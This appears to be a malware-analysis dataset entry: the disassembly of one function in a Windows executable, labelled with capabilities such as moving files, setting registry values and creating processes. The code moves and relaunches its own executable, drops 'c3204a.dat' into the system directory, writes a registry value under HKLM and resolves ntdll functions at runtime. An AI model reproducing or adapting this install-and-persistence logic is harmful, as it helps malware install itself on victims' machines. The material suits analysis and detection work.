Function at 0x4022a0
Capabilities:
Check os version
Create process on windows
Delete file
Get common file path
Link many functions at runtime
Move file
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x404
mov eax, dword [ebp + 8]
mov dword [0x404004], eax
xor eax, eax
push ebx
xor ebx, ebx
push esi
push edi
mov byte [esp + 0x110], bl
mov ecx, 0x3f
lea edi, [esp + 0x111]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov byte [esp + 0x210], bl
mov ecx, 0x3f
lea edi, [esp + 0x211]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov byte [esp + 0x90], bl
mov ecx, 0x1f
lea edi, [esp + 0x91]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov byte [esp + 0x10], bl
mov ecx, 0x1f
lea edi, [esp + 0x11]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [esp + 0x310], bl
xor eax, eax
mov ecx, 0x3f
lea edi, [esp + 0x311]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.00401eb0
push str.System
push 0x4040a8
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
je 0x4027a5
push 0x100
lea ecx, [esp + 0x114]
push ecx
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
call fcn.00401070
call section..text
test al, al
je 0x402652
lea edx, [esp + 0x110]
push str.McScript_InUse.exe
push edx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
jne 0x4024b9
lea eax, [esp + 0x210]
push eax
push 0x100
call dword [sym.imp.KERNEL32.DLL_GetCurrentDirectoryA]
lea ecx, [esp + 0x210]
push 0x5c
push ecx
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 8
cmp eax, ebx
jne 0x40243e
lea edi, [esp + 0x210]
dec edi
jmp 0x4023d0
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x4023d0
mov edx, dword [0x40343c]
mov eax, dword [0x403440]
mov ecx, dword [0x403444]
mov dword [edi], edx
mov edx, dword [0x403448]
mov dword [edi + 4], eax
mov eax, dword [0x40344c]
mov dword [edi + 8], ecx
mov dword [edi + 0xc], edx
lea ecx, [esp + 0x210]
push ecx
lea edx, [esp + 0x114]
push edx
mov dword [edi + 0x10], eax
call dword [sym.imp.KERNEL32.DLL_MoveFileA]
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 5
lea eax, [esp + 0x214]
push eax
call dword [sym.imp.KERNEL32.DLL_WinExec]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
lea ecx, [esp + 0x210]
sub eax, ecx
push eax
mov edx, ecx
push edx
lea eax, [esp + 0x318]
push eax
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0xc
push 0x40343c
lea ecx, [esp + 0x314]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea edx, [esp + 0x310]
push edx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
lea eax, [esp + 0x310]
push eax
lea ecx, [esp + 0x114]
push ecx
call dword [sym.imp.KERNEL32.DLL_MoveFileA]
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 5
lea edx, [esp + 0x314]
push edx
call dword [sym.imp.KERNEL32.DLL_WinExec]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov esi, dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push 0x80
lea eax, [esp + 0x94]
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x40311c
lea ecx, [esp + 0x94]
push ecx
call edi
push 0x80
lea edx, [esp + 0x14]
push edx
call esi
push str.c3204a.dat
lea eax, [esp + 0x14]
push eax
call edi
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x94]
push eax
call dword [sym.imp.KERNEL32.DLL_MoveFileA]
lea ecx, [esp + 0xc]
push ecx
push 0xf003f
push ebx
push 0x403404
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea edx, [esp + 0x110]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov ecx, dword [esp + 0xc]
push eax
lea eax, [esp + 0x114]
push eax
push 1
push ebx
push str.TempName
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.ntdll.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 0x4033dc
push eax
mov dword [0x4041a8], eax
call esi
mov dword [0x4041b8], eax
mov eax, dword [0x4041a8]
push 0x4033d0
push eax
call esi
mov ecx, dword [0x4041a8]
push 0x4033b8
push ecx
mov dword [0x4041ac], eax
call esi
mov edx, dword [0x4041a8]
push str.ZwSetValueKey
push edx
mov dword [section..data], eax
call esi
mov dword [0x4041b0], eax
mov eax, dword [0x4041a8]
push 0x4033a0
push eax
call esi
push 0x404008
mov dword [0x404008], 0x94
mov dword [0x4041b4], eax
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
mov eax, dword [0x404018]
dec eax
je 0x4027a5
dec eax
jne 0x402773
cmp dword [0x40400c], 5
jne 0x40276e
mov eax, dword [0x404010]
cmp eax, ebx
jne 0x40261e
call fcn.00401680
jmp 0x402773
cmp eax, 1
jne 0x40276e
push 0x403170
push 0x40401c
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x402648
call fcn.004014a0
jmp 0x402773
call fcn.00401770
jmp 0x402773
mov esi, dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push 0x80
lea ecx, [esp + 0x94]
push ecx
call esi
mov edi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x40311c
lea edx, [esp + 0x94]
push edx
call edi
push 0x80
lea eax, [esp + 0x14]
push eax
call esi
push str.c3204a.dat
lea ecx, [esp + 0x14]
push ecx
call edi
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x94]
push ecx
call dword [sym.imp.KERNEL32.DLL_MoveFileA]
lea edx, [esp + 0xc]
push edx
push 0xf003f
push ebx
push 0x403404
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [esp + 0x110]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov edx, dword [esp + 0xc]
push eax
lea ecx, [esp + 0x114]
push ecx
push 1
push ebx
push str.TempName
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.ntdll.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 0x4033dc
push eax
mov dword [0x4041a8], eax
call esi
mov ecx, dword [0x4041a8]
push 0x4033d0
push ecx
mov dword [0x4041b8], eax
call esi
mov edx, dword [0x4041a8]
push 0x4033b8
push edx
mov dword [0x4041ac], eax
call esi
mov dword [section..data], eax
mov eax, dword [0x4041a8]
push str.ZwSetValueKey
push eax
call esi
mov ecx, dword [0x4041a8]
push 0x4033a0
mov dword [0x4041b0], eax
push ecx
jmp 0x4025cf
call fcn.00401590
call fcn.00401110
call fcn.00402090
call fcn.00401f30
call fcn.00401a00
call fcn.00401b70
call fcn.00401d90
call fcn.00401ce0
call fcn.00402100
call fcn.00401350
call fcn.00401910
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10